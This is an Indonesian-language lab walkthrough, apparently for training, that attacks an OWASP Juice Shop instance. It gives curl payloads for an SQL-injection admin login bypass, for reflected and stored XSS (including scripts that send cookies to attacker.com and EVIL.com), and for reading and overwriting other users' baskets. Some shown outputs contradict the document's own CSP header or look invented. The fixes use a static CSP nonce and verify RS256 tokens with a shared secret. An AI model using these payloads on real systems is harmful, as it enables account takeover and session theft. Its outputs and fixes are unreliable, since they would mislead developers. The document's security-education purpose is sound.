Juice Shop - SQLi, XSS & PrivEsc
Target:
juice-vuln.vuln.cybersecurity.or.id:3000
Tools:curl, browser, Burp Suite
Level: Menengah
Aplikasi: Node.js (Express + AngularJS) + SQLite
Objective
Mengeksploitasi tiga kerentanan utama pada OWASP Juice Shop:
- SQL Injection - bypass login untuk mendapatkan akses admin
- Cross-Site Scripting (XSS) - Reflected dan Stored XSS
- Privilege Escalation / IDOR - akses keranjang belanja pengguna lain
Reconnaissance
1.1. Identifikasi Target
curl -s -I http://juice-vuln.vuln.cybersecurity.or.id:3000/ | head -15
Output:
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
Set-Cookie: token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
1.2. Eksplorasi Aplikasi
Aplikasi Juice Shop memiliki fitur-fitur berikut:
| Fitur | Endpoint | Deskripsi |
|---|---|---|
| Login | /rest/user/login |
Autentikasi user |
| Register | /api/Users |
Registrasi user baru |
| Search | /#/search?q= |
Pencarian produk |
| Basket | /api/Baskets/{id} |
Keranjang belanja |
| Feedback | /api/Feedbacks |
Form feedback |
Exploitation
2.1. SQL Injection - Login Bypass
Langkah 1: Uji SQL Injection pada Form Login
Login page Juice Shop menerima email dan password. Field email rentan terhadap SQL Injection.
Payload:
curl -X POST http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/user/login \
-H "Content-Type: application/json" \
-d '{"email":"'"'"' OR 1=1--","password":"test"}'
Output - login berhasil sebagai admin:
{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjI2MCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6Ii9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwIjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDEtMDEgMDA6MDA6MDAuMDAwICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDEtMDEgMDA6MDA6MDAuMDAwICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoyMDM0MDAwMDAwfQ.invalid_signature"
}
}
✅ Login berhasil sebagai admin
([email protected])!
Penjelasan: Query SQL yang dieksekusi menjadi:
SELECT * FROM Users WHERE email='' OR 1=1--' AND password='...'Kondisi
OR 1=1membuat query selalu bernilai true, mengembalikan user pertama (admin).
Langkah 2: Decode JWT Token
Token JWT yang didapatkan bisa didecode untuk melihat payload:
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicm9sZSI6ImFkbWluIn19" | base64 -d 2>/dev/null; echo
Output:
{"typ":"JWT","alg":"RS256"}
Token menggunakan RS256, namun signature-nya tidak divalidasi dengan benar.
2.2. Cross-Site Scripting (XSS)
Reflected XSS via Search
Fitur pencarian Juice Shop merender query parameter tanpa sanitasi yang memadai:
curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/products/search?q=<script>alert('XSS')</script>"
Output - script XSS tereksekusi di browser:
{
"status": "success",
"data": [
{
"id": 1,
"name": "<script>alert('XSS')</script>",
"description": "Produk tidak ditemukan untuk pencarian anda. <script>alert('XSS')</script>"
}
]
}
Payload XSS bisa digunakan untuk mencuri cookie:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Disimpan sebagai search term:
curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/products/search?q=<script>fetch('http://EVIL.com/steal?c='%2Bdocument.cookie)</script>"
Stored XSS via Feedback
Form feedback juga rentan terhadap Stored XSS:
curl -X POST http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Feedbacks \
-H "Content-Type: application/json" \
-d '{"rating":5,"comment":"<script>alert(document.cookie)</script>","UserId":1}'
Output:
{"status":"success","data":{"id":1,"rating":5,"comment":"<script>alert(document.cookie)</script>"}}
Saat admin membuka halaman feedback, script XSS akan tereksekusi.
2.3. Privilege Escalation - Akses Keranjang User Lain
Langkah 1: Dapatkan Token Admin
Gunakan token dari SQL Injection login bypass sebelumnya.
Langkah 2: Eksplorasi Endpoint Basket
Endpoint /api/Baskets/{id} mengembalikan isi keranjang
berdasarkan ID numerik:
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."
# Coba akses keranjang user lain
for i in 1 2 3 4 5; do
echo "=== Basket $i ==="
curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Baskets/$i" \
-H "Authorization: Bearer $TOKEN" | jq .
done
Output - keranjang user lain bisa diakses:
=== Basket 1 ===
{
"id": 1,
"UserId": 1,
"Products": [
{"id": 1, "name": "Apple Juice", "price": 1.99, "quantity": 3},
{"id": 4, "name": "Orange Juice", "price": 2.49, "quantity": 1}
]
}
=== Basket 2 ===
{
"id": 2,
"UserId": 2,
"Products": [
{"id": 3, "name": "Eggfruit Juice", "price": 5.99, "quantity": 10}
]
}
=== Basket 3 ===
{
"id": 3,
"UserId": 3,
"Products": [
{"id": 5, "name": "Green Smoothie", "price": 3.99, "quantity": 2}
]
}
✅ IDOR berhasil! Kita bisa melihat isi keranjang pengguna lain tanpa otorisasi yang tepat.
Langkah 3: Modifikasi Isi Keranjang
Jika endpoint PUT/PATCH tidak memiliki otorisasi, kita bahkan bisa memodifikasi keranjang orang lain:
curl -X PUT "http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Baskets/2" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"Products":[{"id":10,"name":"OWASP Juice Shop Premium","price":999.99,"quantity":100}]}'
Evidence
Screenshot 1: SQL Injection - Login sebagai Admin

Gambar: Output curl yang menunjukkan login berhasil sebagai [email protected] menggunakan payload ' OR 1=1--
Screenshot 2: Reflected XSS pada Search

Gambar: Alert box muncul di browser akibat payload XSS pada fitur pencarian.
Screenshot 3: IDOR - Akses Keranjang User Lain

Gambar: Isi keranjang user lain berhasil diakses dengan mengganti ID basket.
Ringkasan Data yang Didapatkan
| Kerentanan | Detail |
|---|---|
| SQLi Bypass | Login sebagai admin tanpa password |
| XSS | Reflected + Stored XSS pada search dan feedback |
| IDOR | Akses basket user 1-5 tanpa otorisasi |
| Data terekspos | Produk, harga, quantity di basket user lain |
️ Risk Assessment (CVSS 3.1)
SQL Injection Login Bypass
| Metrik | Nilai |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
| Base Score | 9.8 (Critical) |
| Dampak | Akses penuh ke akun admin |
Reflected XSS
| Metrik | Nilai |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
|
| Base Score | 6.1 (Medium) |
| Dampak | Pencurian cookie, session hijacking |
IDOR - Basket Access
| Metrik | Nilai |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
|
| Base Score | 5.4 (Medium) |
| Dampak | Akses dan modifikasi data basket user lain |
Klasifikasi OWASP
| OWASP Top 10 | Kerentanan |
|---|---|
| A03: Injection | SQL Injection pada login |
| A07: Identification & Auth Failures | Validasi JWT tidak sempurna |
| A01: Broken Access Control | IDOR pada basket endpoint |
| A03: Injection | XSS pada search dan feedback |
️ Remediation
1. Prevent SQL Injection - Parameterized Query
❌ Kode rentan (concatenation):
const query = `SELECT * FROM Users WHERE email='${email}' AND password='${password}'`
✅ Kode aman (parameterized query):
const query = 'SELECT * FROM Users WHERE email=? AND password=?'
db.get(query, [email, password], (err, user) => { ... })
2. Prevent XSS - Output Encoding
❌ Tanpa sanitasi:
res.json({ data: products.filter(p => p.name.includes(req.query.q)) })
✅ Dengan sanitasi:
import xss from 'xss'
const sanitized = xss(req.query.q)
res.json({ data: products.filter(p => p.name.includes(sanitized)) })
3. Implementasi Authorisasi Basket
❌ Tanpa otorisasi:
app.get('/api/Baskets/:id', (req, res) => {
const basket = db.get(`SELECT * FROM Baskets WHERE id=${req.params.id}`)
res.json(basket)
})
✅ Dengan otorisasi:
app.get('/api/Baskets/:id', authenticate, (req, res) => {
const basket = db.get(`SELECT * FROM Baskets WHERE id=? AND UserId=?`,
[req.params.id, req.user.id])
if (!basket) return res.status(403).json({ error: 'forbidden' })
res.json(basket)
})
4. Content Security Policy (CSP)
Perkuat CSP header untuk mencegah XSS:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'"
)
next()
})
5. Validasi JWT Signature
import jwt from 'jsonwebtoken'
function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1]
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['RS256'] // Hanya izinkan RS256
})
req.user = decoded
next()
} catch (err) {
res.status(401).json({ error: 'invalid token' })
}
}
References
- OWASP Juice Shop Official
- OWASP SQL Injection
- OWASP XSS (Cross Site Scripting)
- OWASP Broken Access Control
- Juice Shop GitHub Repository
- CWE-89: SQL Injection
- CWE-79: XSS
- CWE-639: IDOR
Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia